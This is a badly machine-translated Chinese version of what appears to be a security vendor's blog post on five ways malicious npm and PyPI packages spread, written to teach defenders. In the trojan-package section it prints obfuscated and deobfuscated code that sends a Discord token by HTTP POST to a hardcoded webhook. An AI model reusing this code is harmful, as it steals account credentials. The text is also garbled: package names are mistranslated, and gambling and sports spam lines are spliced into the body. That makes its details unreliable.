攻击者用来传播恶意软件包的五种感染方法示例
恶意软件包系列(2 / 4):JFrog的安全研究人员是如何发现这些恶意代码攻击的

欢迎来到恶意软件包系列的第二篇文章。这篇文章的重点攻击者用来传播恶意软件包的感染方法,以及JFrog安全研究团队是如何揭示这些方法的。
如果你错过了第一个博客,以下是一些要点:
- 第三方软件包中存在通过软件供应链传递的漏洞或恶意代码。
- 在软件供应链攻击中,攻击者将恶意代码或整个恶意组件放入受信任的软件中,影响供应链中该软件的消费者。
- 在过去几年中,使用恶意开源包攻击供应链已经成为攻击者的一种流行技术,主要是因为这种攻击具有很高的分发潜力和技术上的易用性。
注:以下许多软件供应链攻击示例都是基于JFrog安全研究团队发现和披露的实际数据和恶意软件包。
回顾这些感染方法,了解JFrog的安全研究人员是如何发现并披露它们的。
5感染方法及实例
1.受害
什么是typposquatting感染方法?
Typosquatting是指用轻微的印刷错误获得(或蹲取)一个著名的名字的做法。这种做法适用于许多资源,如网页、可执行文件名和软件包名称。2022世界杯阿根廷预选赛赛程
假设您购买了域名gogle.com而不是合法域名google.com,希望用户会出现输入错误并访问非法域名,用于任何攻击有效载荷,例如网络钓鱼和代码注入攻击。像这样的攻击在网络上经常发生。同样的事情现在也发生在恶意软件包上,攻击者用与流行软件包名称相似的名称注册它们,但有一个小的拼写更改。攻击者将这些恶意软件包注册在NPM和PyPI等流行的软件包存储库中,希望开发人员偶尔会犯输入错误并安装它们。
在我们最近看到的一种趋势中,一些维护者和开发人员发挥了积极的作用,为他们的项目保留了“容易输入错误”的名称,以防止攻击者控制它们。类似地,谷歌专门注册了gogle.com域名,所以如果你浏览到gogle.com,你会被重定向到google.com。试一试!
typposquatting发现:mplatlib包
JFrog的安全研究团队发现以下是使用自动启发式扫描程序检测开源软件包中的恶意活动的类型检测感染。在本博客系列的第四部分中会详细介绍。
扫描器发现包的名称mplatlib是恶意的,因为其中使用了代码混淆技术。同样值得注意的是,它的名称与正版软件包非常相似mplotlab:
在下面的控制台日志示例中,一个简单的打字错误安装了恶意包mplatlib在研究时:

的存在mplatlib软件包和其他恶意软件包被报告给PyPI并被删除。
2.伪装
什么是伪装感染的方法?
伪装是当恶意软件的作者,或者攻击者,发布一个恶意的包,冒充一个已知的包。他们复制原始项目的代码和元数据(他们想要模拟原始项目),并在此副本中添加一小段恶意代码,本质上是构建木马包。
这种感染方法类似于typposquatting感染方法,因为它使用与合法包相同的名称。不过,不同之处在于,它们的目的是通过与合法包的相似性来欺骗开发人员,而不是由于拼写错误而寻求意外使用。
伪装发现:markdjs包
今年2月,JFrog安全研究团队发现恶意包markedjs.
的原始名称和元数据markedjs恶意软件包是从合法和流行的复制标志着包装,使名称难以区分。
库的URL、主页和描述与NPM库的比较是一样的:
合法标志着包:

恶意包markedjs:

在比较恶意包(即,markedjs)代码与原始包(即,标志着)代码,与原始包的唯一区别是在单个文件中用黑色标记的一行:

上面示例中用黑色标记的长行不包含可读的代码,它被放置在合法且易读的行中,因此如果没有自动扫描或区分工具,很难找到这行。这一行是经过混淆的恶意代码,是原始合法包的唯一添加,使此修改具有功能但具有恶意。
3.特洛伊木马
木马包感染的方法是什么?
在木马包感染方法中,攻击者发布一个功能齐全的库,但在其中隐藏恶意代码。与伪装技术类似,恶意代码通常很小或被混淆。因此,很难检测和区分包的合法功能。
发现木马包:lemaaa
JFrog的扫描器捕获了恶意木马包lemaaa并在我们的发表于今年二月.
该软件包旨在被恶意软件作者用来破解Discord帐户。
Discord是一个拥有数亿注册用户的通信应用程序,允许语音和视频通话,短信和媒体文件共享。在Discord网络中,用户的身份以字符串a的形式表示不和令牌这是一组字母和数字,作为访问Discord服务器的授权代码。用户的凭据可以有效地让攻击者完全访问Discord帐户。
的lemaaa库(如下图所示)是一个功能齐全的发布库,攻击者使用它来窃取Discord令牌。有趣的是,此包中的木马代码旨在从使用此库的任何攻击者那里窃取Discord令牌。当使用库的实用程序函数时,木马代码将劫持给它的秘密Discord令牌,所以基本上这个恶意包攻击想要使用库窃取令牌的攻击者。

下面的代码是被混淆的恶意代码,它包含一个有效负载,劫持提供的Discord令牌并将其发送到硬编码的web URL,本质上是将令牌发送到攻击者控制的站点。
混淆代码:
function _0xf28e(){const _0x159601=['DELETE','https://discord.com/api/v8/users/@me ','11317570ajQRNl','application/json','token','random',' ',' 'false', 'https://discord.com/api/v9/users/@me/mfa/totp/disable','https://discord.com/api/v8/guilds/ ','last_4','@gmail.com','true','1315DTGoNg',', '\ x20\x22early_verified_bot_developer\ x22:\x20',' \x22,\x20\x22new_password\x22:\x20\x22','map','14370OOLNxq','There\x20is\x20no\x20bots',…
在对这段代码进行解混淆之后,我们可以看到实用程序函数removeAllFriends()使用HTTP POST请求将提供的令牌发送到攻击者控制的网站。
Deobfuscated代码:
异步函数removeAllFriends(token){…var _0x3d283a = await _0x1aa523['json'](), malicious_webhook = 'https://canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz';await fetch(malicious_webhook, {'method': 'POST', 'headers': {'content - type ': 'application/json'}, 'body': json ['stringify']({'content': " + token}))
由于此函数位于恶意软件库中,因此某些代码被混淆并不罕见。因此,恶意软件作者可能会信任它。
4.依赖关系混乱
什么是依赖混淆感染方法?
依赖关系混乱利用许多包管理器在构建过程中下载依赖项的方式中的漏洞。
在依赖混淆方法中,攻击者使用目标内部包的特定包名,并在具有确切名称的外部公共存储库上发布恶意包。然后,攻击者为这个发布的包分配一个非常高的版本号。大多数默认包管理器更喜欢下载外部恶意包,因为它的版本号高,而不是从合法的内部存储库下载低版本。
我们可以在下面的屏幕截图中看到一个恶意包的示例,它被创建为这是一位名叫亚历克斯·伯森的安全研究员去年发表的一项研究.
在下面的截图中,我们可以看到PyPI中一个公开可用的包,其名称看起来像Netflix的内部包,并且版本号非常高。
通过这次攻击,Birsan成功地利用了Netflix,以及苹果和微软,通过让他们的服务器下载恶意的外部包而不是合法的内部包。

依赖混淆攻击发现:mrg-message-broker 9998.987.376
发表的研究JFrog安全研究团队于2021年12月发现了一个使用依赖混淆攻击进行传播的恶意软件包。
JFrog的安全研究人员很快发现了这种攻击(如下图所示),因为版本号高得令人难以置信,而标准产品版本通常不会使用这个版本号。这个恶意包的有效载荷是一个环境变量窃取器;在这个恶意包博客系列的下一部分中,我们将对这种有效负载和其他有效负载进行深入分析。
5.软件包劫持
软件包劫持感染的方法是什么?
最后一种感染方式是软件包劫持.
这种方法包括接管一个合法的已知包并将恶意代码推入其中。虽然这不是一项容易的任务,但它非常有效,因为它可以利用现有包装的普及来降低高感染率。
软件包劫持通常是通过入侵维护者和开发人员的帐户,或通过将隐藏或混淆的恶意代码注入开源项目的合法代码贡献的一部分来执行的。
软件劫持发现:ua-parser-js
2021年10月,一个已知的合法软件包被攻击和劫持,通过接管维护者的帐户并向软件包的多个版本推送恶意代码。下面,你可以看到这个被劫持的包,叫做ua-parser-js(下面的例子)。
到目前为止,这个流行的软件包已经有超过15亿的下载量。这里值得注意的是,注入到这个包中的恶意代码与最初伪装成合法的另一个恶意包中的恶意代码相同ua-parser-js包中。
下面是开发者的公告ua-parser-js包裹说他们认为有人劫持并发布了恶意版本:
“我“我相信有人劫持了我的npm帐户,并发布了一些可能安装恶意软件的受损包(0.7.29,0.8.0,1.0.0),”wa -parser-js背后的开发者Faisal Salman宣布。”
在这次披露和当时其他类似事件之后,Github执行用于流行NPM包的维护者和管理员的双因素身份验证。
软件劫持发现:颜色和伪造事件
软件包劫持不仅可以由恶意的第三方发生,也可以由项目本身的开发人员和维护者发生,就像著名的Colors和Faker开源软件包一样。的颜色和骗子NPM包在Node.js开发者中非常流行。Colors允许开发者向Node.js控制台添加样式、字体和颜色,Faker允许他们在开发过程中生成用于测试目的的数据。这两个包是由同一作者开发的,它们非常受欢迎,每周有数百万次下载。今年年初,笔者破坏了两个包裹抗议那些不回馈开源社区的大公司使用他们的代码。他们在代码中添加了一个无限循环,这使得成千上万的项目依赖于他们,只是为了抗议公司。通过对软件包代码进行一次修改,许多公司都受到了恶意代码的影响,这些恶意代码被添加并破坏了他们的产品。hth华体会最新官方网站
软件劫持发现:劫持与网络钓鱼攻击
2022年8月,PyPI团队发现并报告针对PyPI开发者的网络钓鱼活动PyPI团队提到,这是已知的第一次针对PyPI存储库的网络钓鱼攻击。在这次攻击中,攻击者创建了一个网络钓鱼网站,要求PyPI用户提供他们的凭据,作为强制“验证”过程的一部分:
PyPI团队已经检测并删除了在这次攻击中被黑客攻击的三个合法软件包的恶意版本,并敦促开发人员为其用户帐户配置双因素身份验证,以避免此类网络钓鱼攻击。Python软件基金会的赞助商Google开源安全团队也为关键的PyPI项目维护者提供了数量有限的2FA安全密钥。
软件劫持发现:通过域名接管进行劫持
通过接管维护者的帐户来劫持软件包不仅限于网络钓鱼攻击和凭证盗窃。随着时间的推移,攻击者变得越来越老练,今年5月,JFrog安全研究人员发表了详尽的分析一种新的劫持方法利用过期的域名接管。攻击者通过注册包维护者的过期电子邮件地址域,在注册的域中重新创建电子邮件地址,启动密码恢复过程,控制包维护者的帐户。这项研究是在NPM存储库上进行的,由于维护者的电子邮件域名过期,发现有3000多个软件包易受攻击。这是恶意软件包感染方法的最后一个趋势,在过去的几个月里,我们看到这些攻击有所增加,所以预计很快会看到更多。
正如您可能看到的,这些感染方法对DevOps团队和用户来说是很严重的。
关于攻击者用来传播恶意软件包的五种感染方法的文章已经结束了,现在让我们来讨论一下攻击后的有效载荷阶段在“恶意软件包”系列中。我们将分析恶意软件包中使用的有效载荷,以及攻击者如何使用混淆技术将它们隐藏在代码中,并给出JFrog安全研究团队发现的攻击代码示例。
记住,总有更多的东西需要学习。注册JFrog 's即将到来的网络研讨会.
这个教育系列是根据网络研讨会改编的识别和避免恶意软件包,展示了目前在PyPI (Python)和npm (Node.js)包库中流行的不同类型的恶意包。